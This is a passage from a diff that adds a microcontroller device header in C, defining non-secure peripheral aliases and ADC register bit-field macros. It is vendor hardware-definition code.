TIM5_BASE_NS + +#define TIM6 TIM6_NS +#define TIM6_BASE TIM6_BASE_NS + +#define TIM7 TIM7_NS +#define TIM7_BASE TIM7_BASE_NS + +#define TIM8 TIM8_NS +#define TIM8_BASE TIM8_BASE_NS + +#define TIM15 TIM15_NS +#define TIM15_BASE TIM15_BASE_NS + +#define TIM16 TIM16_NS +#define TIM16_BASE TIM16_BASE_NS + +#define TIM17 TIM17_NS +#define TIM17_BASE TIM17_BASE_NS + +#define WWDG WWDG_NS +#define WWDG_BASE WWDG_BASE_NS + +#define IWDG IWDG_NS +#define IWDG_BASE IWDG_BASE_NS + +#define SPI1 SPI1_NS +#define SPI1_BASE SPI1_BASE_NS + +#define SPI2 SPI2_NS +#define SPI2_BASE SPI2_BASE_NS + +#define SPI3 SPI3_NS +#define SPI3_BASE SPI3_BASE_NS + +#define USART1 USART1_NS +#define USART1_BASE USART1_BASE_NS + +#define USART2 USART2_NS +#define USART2_BASE USART2_BASE_NS + +#define USART3 USART3_NS +#define USART3_BASE USART3_BASE_NS + +#define UART4 UART4_NS +#define UART4_BASE UART4_BASE_NS + +#define UART5 UART5_NS +#define UART5_BASE UART5_BASE_NS + +#define I2C1 I2C1_NS +#define I2C1_BASE I2C1_BASE_NS + +#define I2C2 I2C2_NS +#define I2C2_BASE I2C2_BASE_NS + +#define I2C3 I2C3_NS +#define I2C3_BASE I2C3_BASE_NS + +#define I2C4 I2C4_NS +#define I2C4_BASE I2C4_BASE_NS + +#define CRS CRS_NS +#define CRS_BASE CRS_BASE_NS + +#define FDCAN1 FDCAN1_NS +#define FDCAN1_BASE FDCAN1_BASE_NS + +#define FDCAN_CONFIG FDCAN_CONFIG_NS +#define FDCAN_CONFIG_BASE FDCAN_CONFIG_BASE_NS +#define SRAMCAN_BASE SRAMCAN_BASE_NS + +#define DAC1 DAC1_NS +#define DAC1_BASE DAC1_BASE_NS + +#define OPAMP OPAMP_NS +#define OPAMP_BASE OPAMP_BASE_NS + +#define OPAMP1 OPAMP1_NS +#define OPAMP1_BASE OPAMP1_BASE_NS + +#define OPAMP2 OPAMP2_NS +#define OPAMP2_BASE OPAMP2_BASE_NS + +#define OPAMP12_COMMON OPAMP12_COMMON_NS +#define OPAMP12_COMMON_BASE OPAMP12_COMMON_BASE_NS + +#define LPTIM1 LPTIM1_NS +#define LPTIM1_BASE LPTIM1_BASE_NS + +#define LPTIM2 LPTIM2_NS +#define LPTIM2_BASE LPTIM2_BASE_NS + +#define LPTIM3 LPTIM3_NS +#define LPTIM3_BASE LPTIM3_BASE_NS + +#define LPTIM4 LPTIM4_NS +#define LPTIM4_BASE LPTIM4_BASE_NS + +#define LPUART1 LPUART1_NS +#define LPUART1_BASE LPUART1_BASE_NS + +#define UCPD1 UCPD1_NS +#define UCPD1_BASE UCPD1_BASE_NS + +#define SYSCFG SYSCFG_NS +#define SYSCFG_BASE SYSCFG_BASE_NS + +#define VREFBUF VREFBUF_NS +#define VREFBUF_BASE VREFBUF_BASE_NS + +#define COMP12 COMP12_NS +#define COMP12_BASE COMP12_BASE_NS + +#define COMP1 COMP1_NS +#define COMP1_BASE COMP1_BASE_NS + +#define COMP2 COMP2_NS +#define COMP2_BASE COMP2_BASE_NS + +#define COMP12_COMMON COMP12_COMMON_NS +#define COMP12_COMMON_BASE COMP1_BASE_NS + +#define SAI1 SAI1_NS +#define SAI1_BASE SAI1_BASE_NS + +#define SAI1_Block_A SAI1_Block_A_NS +#define SAI1_Block_A_BASE SAI1_Block_A_BASE_NS + +#define SAI1_Block_B SAI1_Block_B_NS +#define SAI1_Block_B_BASE SAI1_Block_B_BASE_NS + +#define SAI2 SAI2_NS +#define SAI2_BASE SAI2_BASE_NS + +#define SAI2_Block_A SAI2_Block_A_NS +#define SAI2_Block_A_BASE SAI2_Block_A_BASE_NS + +#define SAI2_Block_B SAI2_Block_B_NS +#define SAI2_Block_B_BASE SAI2_Block_B_BASE_NS + +#define CRC CRC_NS +#define CRC_BASE CRC_BASE_NS + +#define TSC TSC_NS +#define TSC_BASE TSC_BASE_NS + +#define ADC1 ADC1_NS +#define ADC1_BASE ADC1_BASE_NS + +#define ADC12_COMMON ADC12_COMMON_NS +#define ADC12_COMMON_BASE ADC12_COMMON_BASE_NS + +#define ADC4 ADC4_NS +#define ADC4_BASE ADC4_BASE_NS + +#define ADC4_COMMON ADC4_COMMON_NS +#define ADC4_COMMON_BASE ADC4_COMMON_BASE_NS + +#define HASH HASH_NS +#define HASH_BASE HASH_BASE_NS + +#define HASH_DIGEST HASH_DIGEST_NS +#define HASH_DIGEST_BASE HASH_DIGEST_BASE_NS + +#define RNG RNG_NS +#define RNG_BASE RNG_BASE_NS + +#define SDMMC1 SDMMC1_NS +#define SDMMC1_BASE SDMMC1_BASE_NS + +#define SDMMC2 SDMMC2_NS +#define SDMMC2_BASE SDMMC2_BASE_NS + +#define FMC_Bank1_R FMC_Bank1_R_NS +#define FMC_Bank1_R_BASE FMC_Bank1_R_BASE_NS + +#define FMC_Bank1E_R FMC_Bank1E_R_NS +#define FMC_Bank1E_R_BASE FMC_Bank1E_R_BASE_NS + +#define FMC_Bank3_R FMC_Bank3_R_NS +#define FMC_Bank3_R_BASE FMC_Bank3_R_BASE_NS + +#define OCTOSPI1 OCTOSPI1_NS +#define OCTOSPI1_R_BASE OCTOSPI1_R_BASE_NS + +#define OCTOSPI2 OCTOSPI2_NS +#define OCTOSPI2_R_BASE OCTOSPI2_R_BASE_NS + +#define OCTOSPIM OCTOSPIM_NS +#define OCTOSPIM_R_BASE OCTOSPIM_R_BASE_NS + +#define DLYB_SDMMC1 DLYB_SDMMC1_NS +#define DLYB_SDMMC1_BASE DLYB_SDMMC1_BASE_NS + +#define DLYB_SDMMC2 DLYB_SDMMC2_NS +#define DLYB_SDMMC2_BASE DLYB_SDMMC2_BASE_NS + +#define DLYB_OCTOSPI1 DLYB_OCTOSPI1_NS +#define DLYB_OCTOSPI1_BASE DLYB_OCTOSPI1_BASE_NS + +#define DLYB_OCTOSPI2 DLYB_OCTOSPI2_NS +#define DLYB_OCTOSPI2_BASE DLYB_OCTOSPI2_BASE_NS + +#define USB_OTG_FS USB_OTG_FS_NS +#define USB_OTG_FS_BASE USB_OTG_FS_BASE_NS + +#define MDF1 MDF1_NS +#define MDF1_BASE MDF1_BASE_NS + +#define MDF1_Filter0 MDF1_Filter0_NS +#define MDF1_Filter0_BASE MDF1_Filter0_BASE_NS + +#define MDF1_Filter1 MDF1_Filter1_NS +#define MDF1_Filter1_BASE MDF1_Filter1_BASE_NS + +#define MDF1_Filter2 MDF1_Filter2_NS +#define MDF1_Filter2_BASE MDF1_Filter2_BASE_NS + +#define MDF1_Filter3 MDF1_Filter3_NS +#define MDF1_Filter3_BASE MDF1_Filter3_BASE_NS + +#define MDF1_Filter4 MDF1_Filter4_NS +#define MDF1_Filter4_BASE MDF1_Filter4_BASE_NS + +#define MDF1_Filter5 MDF1_Filter5_NS +#define MDF1_Filter5_BASE MDF1_Filter5_BASE_NS + +#define ADF1 ADF1_NS +#define ADF1_BASE ADF1_BASE_NS + +#define ADF1_Filter0 ADF1_Filter0_NS +#define ADF1_Filter0_BASE ADF1_Filter0_BASE_NS +#endif + +/** @addtogroup Hardware_Constant_Definition + * @{ + */ +#define LSI_STARTUP_TIME 260U /*!< LSI Maximum startup time in us */ + +/** + * @} + */ + +/******************************************************************************/ +/* */ +/* Analog to Digital Converter */ +/* */ +/******************************************************************************/ +/******************************* ADC VERSION ********************************/ +#define ADC_VER_V5_X +/******************** Bit definition for ADC_ISR register ********************/ +#define ADC_ISR_ADRDY_Pos (0UL) +#define ADC_ISR_ADRDY_Msk (0x1UL << ADC_ISR_ADRDY_Pos) /*!< 0x00000001 */ +#define ADC_ISR_ADRDY ADC_ISR_ADRDY_Msk /*!< ADC Ready (ADRDY) flag */ +#define ADC_ISR_EOSMP_Pos (1UL) +#define ADC_ISR_EOSMP_Msk (0x1UL << ADC_ISR_EOSMP_Pos) /*!< 0x00000002 */ +#define ADC_ISR_EOSMP ADC_ISR_EOSMP_Msk /*!< ADC End of Sampling flag */ +#define ADC_ISR_EOC_Pos (2UL) +#define ADC_ISR_EOC_Msk (0x1UL << ADC_ISR_EOC_Pos) /*!< 0x00000004 */ +#define ADC_ISR_EOC ADC_ISR_EOC_Msk /*!< ADC End of Regular Conversion flag */ +#define ADC_ISR_EOS_Pos (3UL) +#define ADC_ISR_EOS_Msk (0x1UL << ADC_ISR_EOS_Pos) /*!< 0x00000008 */ +#define ADC_ISR_EOS ADC_ISR_EOS_Msk /*!< ADC End of Regular sequence of Conversions flag */ +#define ADC_ISR_OVR_Pos (4UL) +#define ADC_ISR_OVR_Msk (0x1UL << ADC_ISR_OVR_Pos) /*!< 0x00000010 */ +#define ADC_ISR_OVR ADC_ISR_OVR_Msk /*!< ADC overrun flag */ +#define ADC_ISR_JEOC_Pos (5UL) +#define ADC_ISR_JEOC_Msk (0x1UL << ADC_ISR_JEOC_Pos) /*!< 0x00000020 */ +#define ADC_ISR_JEOC ADC_ISR_JEOC_Msk /*!< ADC End of Injected Conversion flag */ +#define ADC_ISR_JEOS_Pos (6UL) +#define ADC_ISR_JEOS_Msk (0x1UL << ADC_ISR_JEOS_Pos) /*!< 0x00000040 */ +#define ADC_ISR_JEOS ADC_ISR_JEOS_Msk /*!< ADC End of Injected sequence of Conversions flag */ +#define ADC_ISR_AWD1_Pos (7UL) +#define ADC_ISR_AWD1_Msk (0x1UL << ADC_ISR_AWD1_Pos) /*!< 0x00000080 */ +#define ADC_ISR_AWD1 ADC_ISR_AWD1_Msk /*!< ADC Analog watchdog 1 flag */ +#define ADC_ISR_AWD2_Pos (8UL) +#define ADC_ISR_AWD2_Msk (0x1UL << ADC_ISR_AWD2_Pos) /*!< 0x00000100 */ +#define ADC_ISR_AWD2 ADC_ISR_AWD2_Msk /*!< ADC Analog watchdog 2 flag */ +#define ADC_ISR_AWD3_Pos (9UL) +#define ADC_ISR_AWD3_Msk (0x1UL << ADC_ISR_AWD3_Pos) /*!< 0x00000200 */ +#define ADC_ISR_AWD3 ADC_ISR_AWD3_Msk /*!< ADC Analog watchdog 3 flag */ +#define ADC_ISR_JQOVF_Pos (10UL) +#define ADC_ISR_JQOVF_Msk (0x1UL << ADC_ISR_JQOVF_Pos) /*!< 0x00000400 */ +#define ADC_ISR_JQOVF ADC_ISR_JQOVF_Msk /*!< ADC Injected Context Queue Overflow flag */ +#define ADC_ISR_EOCAL_Pos (11UL) +#define ADC_ISR_EOCAL_Msk (0x1UL << ADC_ISR_EOCAL_Pos) /*!< 0x00000800 */ +#define ADC_ISR_EOCAL ADC_ISR_EOCAL_Msk /*!< ADC End of Calibration flag */ +#define ADC_ISR_LDORDY_Pos (12UL) +#define ADC_ISR_LDORDY_Msk (0x1UL << ADC_ISR_LDORDY_Pos) /*!< 0x00001000 */ +#define ADC_ISR_LDORDY ADC_ISR_LDORDY_Msk /*!< ADC Voltage Regulator Ready flag */ + +/******************** Bit definition for ADC_IER register ********************/ +#define ADC_IER_ADRDYIE_Pos (0UL) +#define ADC_IER_ADRDYIE_Msk (0x1UL << ADC_IER_ADRDYIE_Pos) /*!< 0x00000001 */ +#define ADC_IER_ADRDYIE ADC_IER_ADRDYIE_Msk /*!< ADC Ready (ADRDY) interrupt source */ +#define ADC_IER_EOSMPIE_Pos (1UL) +#define ADC_IER_EOSMPIE_Msk (0x1UL << ADC_IER_EOSMPIE_Pos) /*!< 0x00000002 */ +#define ADC_IER_EOSMPIE ADC_IER_EOSMPIE_Msk /*!< ADC End of Sampling interrupt source */ +#define ADC_IER_EOCIE_Pos (2UL) +#define ADC_IER_EOCIE_Msk (0x1UL << ADC_IER_EOCIE_Pos) /*!< 0x00000004 */ +#define ADC_IER_EOCIE ADC_IER_EOCIE_Msk /*!< ADC End of Regular Conversion interrupt source */ +#define ADC_IER_EOSIE_Pos (3UL) +#define ADC_IER_EOSIE_Msk (0x1UL << ADC_IER_EOSIE_Pos) /*!< 0x00000008 */ +#define ADC_IER_EOSIE ADC_IER_EOSIE_Msk /*!< ADC End of Regular sequence of Conversions interrupt source */ +#define ADC_IER_OVRIE_Pos (4UL) +#define ADC_IER_OVRIE_Msk (0x1UL << ADC_IER_OVRIE_Pos) /*!< 0x00000010 */ +#define ADC_IER_OVRIE ADC_IER_OVRIE_Msk /*!< ADC overrun interrupt source */ +#define ADC_IER_JEOCIE_Pos (5UL) +#define ADC_IER_JEOCIE_Msk (0x1UL << ADC_IER_JEOCIE_Pos) /*!< 0x00000020 */ +#define ADC_IER_JEOCIE ADC_IER_JEOCIE_Msk /*!< ADC End of Injected Conversion interrupt source */ +#define ADC_IER_JEOSIE_Pos (6UL) +#define ADC_IER_JEOSIE_Msk (0x1UL << ADC_IER_JEOSIE_Pos) /*!< 0x00000040 */ +#define ADC_IER_JEOSIE ADC_IER_JEOSIE_Msk /*!< ADC End of Injected sequence of Conversions interrupt source */ +#define ADC_IER_AWD1IE_Pos (7UL) +#define ADC_IER_AWD1IE_Msk (0x1UL << ADC_IER_AWD1IE_Pos) /*!< 0x00000080 */ +#define ADC_IER_AWD1IE ADC_IER_AWD1IE_Msk /*!< ADC Analog watchdog 1 interrupt source */ +#define ADC_IER_AWD2IE_Pos (8UL) +#define ADC_IER_AWD2IE_Msk (0x1UL << ADC_IER_AWD2IE_Pos) /*!< 0x00000100 */ +#define ADC_IER_AWD2IE ADC_IER_AWD2IE_Msk /*!< ADC Analog watchdog 2 interrupt source */ +#define ADC_IER_AWD3IE_Pos (9UL) +#define ADC_IER_AWD3IE_Msk (0x1UL << ADC_IER_AWD3IE_Pos) /*!< 0x00000200 */ +#define ADC_IER_AWD3IE ADC_IER_AWD3IE_Msk /*!< ADC Analog watchdog 3 interrupt source */ +#define ADC_IER_JQOVFIE_Pos (10UL) +#define ADC_IER_JQOVFIE_Msk (0x1UL << ADC_IER_JQOVFIE_Pos) /*!< 0x00000400 */ +#define ADC_IER_JQOVFIE ADC_IER_JQOVFIE_Msk /*!< ADC Injected Context Queue Overflow interrupt source */ +#define ADC_IER_EOCALIE_Pos (11UL) +#define ADC_IER_EOCALIE_Msk (0x1UL << ADC_IER_EOCALIE_Pos) /*!< 0x00000800 */ +#define ADC_IER_EOCALIE ADC_IER_EOCALIE_Msk /*!< ADC End of Calibration Enable */ +#define ADC_IER_LDORDYIE_Pos (12UL) +#define ADC_IER_LDORDYIE_Msk (0x1UL << ADC_IER_LDORDYIE_Pos) /*!< 0x00001000 */ +#define ADC_IER_LDORDYIE ADC_IER_LDORDYIE_Msk /*!< ADC Voltage Regulator Ready flag */ + +/******************** Bit definition for ADC_CR register ********************/ +#define ADC_CR_ADEN_Pos (0UL) +#define ADC_CR_ADEN_Msk (0x1UL << ADC_CR_ADEN_Pos) /*!< 0x00000001 */ +#define ADC_CR_ADEN ADC_CR_ADEN_Msk /*!< ADC Enable control */ +#define ADC_CR_ADDIS_Pos (1UL) +#define ADC_CR_ADDIS_Msk (0x1UL << ADC_CR_ADDIS_Pos) /*!< 0x00000002 */ +#define ADC_CR_ADDIS ADC_CR_ADDIS_Msk /*!< ADC Disable command */ +#define ADC_CR_ADSTART_Pos (2UL) +#define ADC_CR_ADSTART_Msk (0x1UL << ADC_CR_ADSTART_Pos) /*!< 0x00000004 */ +#define ADC_CR_ADSTART ADC_CR_ADSTART_Msk /*!< ADC Start of Regular conversion */ +#define ADC_CR_JADSTART_Pos (3UL) +#define ADC_CR_JADSTART_Msk (0x1UL << ADC_CR_JADSTART_Pos) /*!< 0x00000008 */ +#define ADC_CR_JADSTART ADC_CR_JADSTART_Msk /*!< ADC Start of injected conversion */ +#define ADC_CR_ADSTP_Pos (4UL) +#define ADC_CR_ADSTP_Msk (0x1UL << ADC_CR_ADSTP_Pos) /*!< 0x00000010 */ +#define ADC_CR_ADSTP ADC_CR_ADSTP_Msk /*!< ADC Stop of Regular conversion */ +#define ADC_CR_JADSTP_Pos (5UL) +#define ADC_CR_JADSTP_Msk (0x1UL << ADC_CR_JADSTP_Pos) /*!< 0x00000020 */ +#define ADC_CR_JADSTP ADC_CR_JADSTP_Msk /*!< ADC Stop of injected conversion */ +#define ADC_CR_ADCALLIN_Pos (16UL) +#define ADC_CR_ADCALLIN_Msk (0x1UL << ADC_CR_ADCALLIN_Pos) /*!< 0x00010000 */ +#define ADC_CR_ADCALLIN ADC_CR_ADCALLIN_Msk /*!< ADC Linearity calibration */ + +#define ADC_CR_CALINDEX_Pos (24UL) +#define ADC_CR_CALINDEX_Msk (0xFUL << ADC_CR_CALINDEX_Pos) /*!< 0x0F000000 */ +#define ADC_CR_CALINDEX ADC_CR_CALINDEX_Msk /*!< ADC calibration factor selection */ +#define ADC_CR_CALINDEX0_Pos (24UL) +#define ADC_CR_CALINDEX0_Msk (0x1UL << ADC_CR_CALINDEX0_Pos) /*!< 0x01000000 */ +#define ADC_CR_CALINDEX0 ADC_CR_CALINDEX0_Msk /*!< ADC calibration factor selection (bit 0) */ +#define ADC_CR_CALINDEX1_Pos (25UL) +#define ADC_CR_CALINDEX1_Msk (0x1UL << ADC_CR_CALINDEX1_Pos) /*!< 0x02000000 */ +#define ADC_CR_CALINDEX1 ADC_CR_CALINDEX1_Msk /*!< ADC calibration factor selection (bit 1) */ +#define ADC_CR_CALINDEX2_Pos (26UL) +#define ADC_CR_CALINDEX2_Msk (0x1UL << ADC_CR_CALINDEX2_Pos) /*!< 0x04000000 */ +#define ADC_CR_CALINDEX2 ADC_CR_CALINDEX2_Msk /*!< ADC calibration factor selection (bit 2) */ +#define ADC_CR_CALINDEX3_Pos (27UL) +#define ADC_CR_CALINDEX3_Msk (0x1UL << ADC_CR_CALINDEX3_Pos) /*!< 0x08000000 */ +#define ADC_CR_CALINDEX3 ADC_CR_CALINDEX3_Msk /*!< ADC calibration factor selection (bit 3) */ +#define ADC_CR_ADVREGEN_Pos (28UL) +#define ADC_CR_ADVREGEN_Msk (0x1UL << ADC_CR_ADVREGEN_Pos) /*!< 0x10000000 */ +#define ADC_CR_ADVREGEN ADC_CR_ADVREGEN_Msk /*!< ADC Voltage regulator Enable */ +#define ADC_CR_DEEPPWD_Pos (29UL) +#define ADC_CR_DEEPPWD_Msk (0x1UL << ADC_CR_DEEPPWD_Pos) /*!< 0x20000000 */ +#define ADC_CR_DEEPPWD ADC_CR_DEEPPWD_Msk /*!< ADC Deep power down Enable */ +#define ADC_CR_ADCAL_Pos (31UL) +#define ADC_CR_ADCAL_Msk (0x1UL << ADC_CR_ADCAL_Pos) /*!< 0x80000000 */ +#define ADC_CR_ADCAL ADC_CR_ADCAL_Msk /*!< ADC Calibration */ + +/******************** Bit definition for ADC_CFGR register ********************/ +#define ADC_CFGR1_DMNGT_Pos (0UL) +#define ADC_CFGR1_DMNGT_Msk (0x3UL << ADC_CFGR1_DMNGT_Pos) /*!< 0x00000003 */ +#define ADC_CFGR1_DMNGT ADC_CFGR1_DMNGT_Msk /*!< ADC Data Management configuration */ +#define ADC_CFGR1_DMNGT_0 (0x1UL << ADC_CFGR1_DMNGT_Pos) /*!< 0x00000001 */ +#define ADC_CFGR1_DMNGT_1 (0x2UL << ADC_CFGR1_DMNGT_Pos) /*!< 0x00000002 */ + +#define ADC_CFGR1_RES_Pos (2UL) +#define ADC_CFGR1_RES_Msk (0x3UL << ADC_CFGR1_RES_Pos) /*!< 0x0000000C */ +#define ADC_CFGR1_RES ADC_CFGR1_RES_Msk /*!< ADC Data resolution */ +#define ADC_CFGR1_RES_0 (0x1UL << ADC_CFGR1_RES_Pos) /*!< 0x00000004 */ +#define ADC_CFGR1_RES_1 (0x2UL << ADC_CFGR1_RES_Pos) /*!< 0x00000008 */ + +#define ADC4_CFGR1_DMAEN_Pos (0UL) +#define ADC4_CFGR1_DMAEN_Msk (0x1UL << ADC4_CFGR1_DMAEN_Pos) /*!< 0x00000001 */ +#define ADC4_CFGR1_DMAEN ADC4_CFGR1_DMAEN_Msk /*!< ADC DMA transfer enable */ +#define ADC4_CFGR1_DMACFG_Pos (1UL) +#define ADC4_CFGR1_DMACFG_Msk (0x1UL << ADC4_CFGR1_DMACFG_Pos) /*!< 0x00000002 */ +#define ADC4_CFGR1_DMACFG ADC4_CFGR1_DMACFG_Msk /*!< ADC DMA transfer configuration */ + +#define ADC4_CFGR1_SCANDIR_Pos (4UL) +#define ADC4_CFGR1_SCANDIR_Msk (0x1UL << ADC4_CFGR1_SCANDIR_Pos) /*!< 0x00000004 */ +#define ADC4_CFGR1_SCANDIR ADC4_CFGR1_SCANDIR_Msk /*!< ADC group regular sequencer scan direction */ + +#define ADC4_CFGR1_ALIGN_Pos (5UL) +#define ADC4_CFGR1_ALIGN_Msk (0x1UL << ADC4_CFGR1_ALIGN_Pos) /*!< 0x00000020 */ +#define ADC4_CFGR1_ALIGN ADC4_CFGR1_ALIGN_Msk /*!< ADC data alignment */ + +#define ADC_CFGR1_EXTSEL_Pos (5UL) +#define ADC_CFGR1_EXTSEL_Msk (0x1FUL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x000003E0 */ +#define ADC_CFGR1_EXTSEL ADC_CFGR1_EXTSEL_Msk /*!< ADC External trigger selection for regular group */ +#define ADC_CFGR1_EXTSEL_0 (0x01UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000020 */ +#define ADC_CFGR1_EXTSEL_1 (0x02UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000040 */ +#define ADC_CFGR1_EXTSEL_2 (0x04UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000080 */ +#define ADC_CFGR1_EXTSEL_3 (0x08UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000100 */ +#define ADC_CFGR1_EXTSEL_4 (0x10UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000200 */ + +#define ADC_CFGR1_EXTEN_Pos (10UL) +#define ADC_CFGR1_EXTEN_Msk (0x3UL << ADC_CFGR1_EXTEN_Pos) /*!< 0x00000C00 */ +#define ADC_CFGR1_EXTEN ADC_CFGR1_EXTEN_Msk /*!< ADC External trigger enable and polarity selection for regular channels */ +#define ADC_CFGR1_EXTEN_0 (0x1UL << ADC_CFGR1_EXTEN_Pos) /*!< 0x00000400 */ +#define ADC_CFGR1_EXTEN_1 (0x2UL << ADC_CFGR1_EXTEN_Pos) /*!< 0x00000800 */ + +#define ADC_CFGR1_OVRMOD_Pos (12UL) +#define ADC_CFGR1_OVRMOD_Msk (0x1UL << ADC_CFGR1_OVRMOD_Pos) /*!< 0x00001000 */ +#define ADC_CFGR1_OVRMOD ADC_CFGR1_OVRMOD_Msk /*!< ADC overrun mode */ +#define ADC_CFGR1_CONT_Pos (13UL) +#define ADC_CFGR1_CONT_Msk (0x1UL << ADC_CFGR1_CONT_Pos) /*!< 0x00002000 */ +#define ADC_CFGR1_CONT ADC_CFGR1_CONT_Msk /*!< ADC Single/continuous conversion mode for regular conversion */ + +#define ADC_CFGR1_AUTDLY_Pos (14UL) +#define ADC_CFGR1_AUTDLY_Msk (0x1UL << ADC_CFGR1_AUTDLY_Pos) /*!< 0x00004000 */ +#define ADC_CFGR1_AUTDLY ADC_CFGR1_AUTDLY_Msk /*!< ADC Delayed conversion mode */ + +#define ADC4_CFGR1_WAIT_Pos (14UL) +#define ADC4_CFGR1_WAIT_Msk (0x1UL << ADC4_CFGR1_WAIT_Pos) /*!< 0x00004000 */ +#define ADC4_CFGR1_WAIT ADC4_CFGR1_WAIT_Msk /*!< ADC Delayed conversion mode */ + +#define ADC_CFGR1_DISCEN_Pos (16UL) +#define ADC_CFGR1_DISCEN_Msk (0x1UL << ADC_CFGR1_DISCEN_Pos) /*!< 0x00010000 */ +#define ADC_CFGR1_DISCEN ADC_CFGR1_DISCEN_Msk /*!< ADC Discontinuous mode for regular channels */ + +#define ADC_CFGR1_DISCNUM_Pos (17UL) +#define ADC_CFGR1_DISCNUM_Msk (0x7UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x000E0000 */ +#define ADC_CFGR1_DISCNUM ADC_CFGR1_DISCNUM_Msk /*!< ADC Discontinuous mode channel count */ +#define ADC_CFGR1_DISCNUM_0 (0x1UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x00020000 */ +#define ADC_CFGR1_DISCNUM_1 (0x2UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x00040000 */ +#define ADC_CFGR1_DISCNUM_2 (0x4UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x00080000 */ + +#define ADC_CFGR1_JDISCEN_Pos (20UL) +#define ADC_CFGR1_JDISCEN_Msk (0x1UL << ADC_CFGR1_JDISCEN_Pos) /*!< 0x00100000 */ +#define ADC_CFGR1_JDISCEN ADC_CFGR1_JDISCEN_Msk /*!< ADC Discontinuous mode on injected channels */ + +#define ADC_CFGR1_AWD1SGL_Pos (22UL) +#define ADC_CFGR1_AWD1SGL_Msk (0x1UL << ADC_CFGR1_AWD1SGL_Pos) /*!< 0x00400000 */ +#define ADC_CFGR1_AWD1SGL ADC_CFGR1_AWD1SGL_Msk /*!< Enable the watchdog 1 on a single channel or on all channels */ +#define ADC_CFGR1_AWD1EN_Pos (23UL) +#define ADC_CFGR1_AWD1EN_Msk (0x1UL << ADC_CFGR1_AWD1EN_Pos) /*!< 0x00800000 */ +#define ADC_CFGR1_AWD1EN ADC_CFGR1_AWD1EN_Msk /*!< ADC Analog watchdog 1 enable on regular Channels */ +#define ADC_CFGR1_JAWD1EN_Pos (24UL) +#define ADC_CFGR1_JAWD1EN_Msk (0x1UL << ADC_CFGR1_JAWD1EN_Pos) /*!< 0x01000000 */ +#define ADC_CFGR1_JAWD1EN ADC_CFGR1_JAWD1EN_Msk /*!< ADC Analog watchdog 1 enable on injected Channels */ +#define ADC_CFGR1_JAUTO_Pos (25UL) +#define ADC_CFGR1_JAUTO_Msk (0x1UL << ADC_CFGR1_JAUTO_Pos) /*!< 0x02000000 */ +#define ADC_CFGR1_JAUTO ADC_CFGR1_JAUTO_Msk /*!< ADC Automatic injected group conversion */ + +/* Specific ADC4 */ +#define ADC4_CFGR1_EXTSEL_Pos (6UL) +#define ADC4_CFGR1_EXTSEL_Msk (0x7UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x000003E0 */ +#define ADC4_CFGR1_EXTSEL ADC4_CFGR1_EXTSEL_Msk /*!< ADC External trigger selection for regular group */ +#define ADC4_CFGR1_EXTSEL_0 (0x01UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x00000020 */ +#define ADC4_CFGR1_EXTSEL_1 (0x02UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x00000040 */ +#define ADC4_CFGR1_EXTSEL_2 (0x04UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x00000080 */ + +#define ADC4_CFGR1_CHSELRMOD_Pos (21UL) +#define ADC4_CFGR1_CHSELRMOD_Msk (0x1UL << ADC4_CFGR1_CHSELRMOD_Pos) /*!< 0x00200000 */ +#define ADC4_CFGR1_CHSELRMOD ADC4_CFGR1_CHSELRMOD_Msk /*!< ADC JSQR Queue mode */ + +#define ADC_CFGR1_AWD1CH_Pos (26UL) +#define ADC_CFGR1_AWD1CH_Msk (0x1FUL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x7C000000 */ +#define ADC_CFGR1_AWD1CH ADC_CFGR1_AWD1CH_Msk /*!< ADC Analog watchdog 1 Channel selection */ +#define ADC_CFGR1_AWD1CH_0 (0x01UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x04000000 */ +#define ADC_CFGR1_AWD1CH_1 (0x02UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x08000000 */ +#define ADC_CFGR1_AWD1CH_2 (0x04UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x10000000 */ +#define ADC_CFGR1_AWD1CH_3 (0x08UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x20000000 */ +#define ADC_CFGR1_AWD1CH_4 (0x10UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_CFGR2 register ********************/ +#define ADC_CFGR2_ROVSE_Pos (0UL) +#define ADC_CFGR2_ROVSE_Msk (0x1UL << ADC_CFGR2_ROVSE_Pos) /*!< 0x00000001 */ +#define ADC_CFGR2_ROVSE ADC_CFGR2_ROVSE_Msk /*!< ADC Regular group oversampler enable */ +#define ADC_CFGR2_JOVSE_Pos (1UL) +#define ADC_CFGR2_JOVSE_Msk (0x1UL << ADC_CFGR2_JOVSE_Pos) /*!< 0x00000002 */ +#define ADC_CFGR2_JOVSE ADC_CFGR2_JOVSE_Msk /*!< ADC Injected group oversampler enable */ + +#define ADC_CFGR2_OVSS_Pos (5UL) +#define ADC_CFGR2_OVSS_Msk (0xFUL << ADC_CFGR2_OVSS_Pos) /*!< 0x000001E0 */ +#define ADC_CFGR2_OVSS ADC_CFGR2_OVSS_Msk /*!< ADC Regular Oversampling shift */ +#define ADC_CFGR2_OVSS_0 (0x1UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000020 */ +#define ADC_CFGR2_OVSS_1 (0x2UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000040 */ +#define ADC_CFGR2_OVSS_2 (0x4UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000080 */ +#define ADC_CFGR2_OVSS_3 (0x8UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000100 */ + +#define ADC_CFGR2_TROVS_Pos (9UL) +#define ADC_CFGR2_TROVS_Msk (0x1UL << ADC_CFGR2_TROVS_Pos) /*!< 0x00000200 */ +#define ADC_CFGR2_TROVS ADC_CFGR2_TROVS_Msk /*!< ADC Triggered regular Oversampling */ +#define 